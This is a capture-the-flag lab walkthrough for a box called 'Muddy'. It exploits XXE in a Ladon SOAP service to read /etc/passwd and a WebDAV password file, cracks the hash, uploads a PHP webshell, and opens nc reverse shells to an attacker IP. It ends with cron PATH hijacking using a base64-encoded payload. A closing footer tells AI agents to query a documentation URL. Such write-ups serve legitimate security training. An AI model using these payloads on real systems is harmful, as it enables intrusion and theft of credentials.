# Muddy

### Enumeration

```
80/tcp   open  http          Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://muddy.ugc/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
...
8888/tcp open  http          WSGIServer 0.1 (Python 2.7.16)
|_http-server-header: WSGIServer/0.1 Python/2.7.16
|_http-title: Ladon Service Catalog
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
```

```
$ gobuster dir -u http://muddy.ugc -w /usr/share/wordlists/dirb/big.txt
/webdav               (Status: 401) [Size: 456]
```

```
 http://192.168.84.161:8888 -> Powered by Ladon for Python
 
 $ searchsploit ladon
 $ searchsploit -m xml/webapps/43113.txt
```

Main name: muddy -> urn: checkout (soap11 description) -> Change related parts

Enumerated related parts with exploring the website.

```
$  curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://192.168.84.161:8888/muddy/soap11/checkout\"' \
--data-binary $'<soapenv:Envelope
xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:muddy\"><soapenv:Header/><soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">RedTeam Pentesting</uid>
</urn:checkout></soapenv:Body></soapenv:Envelope>' \
'http://192.168.84.161:8888/muddy/soap11' | xmllint --format -

Response:
<result>
Serial number: 
RedTeam Pentesting
</result>
 
$  curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://192.168.84.161:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:muddy\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://192.168.84.161:8888/muddy/soap11' | xmllint --format -

<result>Serial number: 
root:x:0:0:root:/root:/bin/bash
ian:x:1000:1000::/home/ian:/bin/sh
</result>
```

**/var/www/html/webdav/passwd.dav -> via Apache Configuration File**

```
$  curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://192.168.84.161:8888/muddy/soap11/checkout\"' \
--data-binary $'<?xml version="1.0"?>
<!DOCTYPE uid
[<!ENTITY passwd SYSTEM "file:///var/www/html/webdav/passwd.dav">
]>
<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:urn=\"urn:muddy\"><soapenv:Header/>
<soapenv:Body>
<urn:checkout soapenv:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
<uid xsi:type=\"xsd:string\">&passwd;</uid>
</urn:checkout>
</soapenv:Body>
</soapenv:Envelope>' \
'http://192.168.84.161:8888/muddy/soap11' | xmllint --format -

<result>
Serial number: 
administrant:$apr1$[REDACTED]
</result>
```

```
$ hashcat -m 1600 -w 4 -a 0 hash.txt ~/Desktop/rockyou.txt --force

administrant:[REDACTED]
```

### Initial Access

```
$ davtest -url http://muddy.ugc/webdav/ -auth administrant:[REDACTED] -cleanup

Executes: http://muddy.ugc/webdav/DavTestDir_Uzlhn8hbsATX/davtest_Uzlhn8hbsATX.php
```

<https://www.revshells.com/> - PHP cmd

```
$ davtest -url http://muddy.ugc/webdav/ -auth administrant:[REDACTED] -uploadfile webshell.php -uploadloc webshell.php

http://muddy.ugc/webdav/webshell.php?cmd=id

nc -e /bin/bash 192.168.49.84 80 -> Execute
```

### PrivEsc

```
www-data@muddy:/$ cat /etc/crontab
PATH=/dev/shm:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
*  *    * * *   root    netstat -tlpn > /root/status && service apache2 status >> /root/status && service mysql status >> /root/status

www-data@muddy:/$ ls -lha /dev/shm
drwxrwxrwt  2 root     root       60 Dec 19 22:22 .
```

Writable cronjob path and using relative path.

<https://www.revshells.com/> - nc mkfifo

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.84 80 >/tmp/f
# Base64 Encoded
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC40OS44NCA4MCA+L3RtcC9m

www-data@muddy:/dev/shm$ echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC40OS44NCA4MCA+L3RtcC9m" | base64 -d > netstat

www-data@muddy:/dev/shm$ chmod +x netstat
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/muddy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.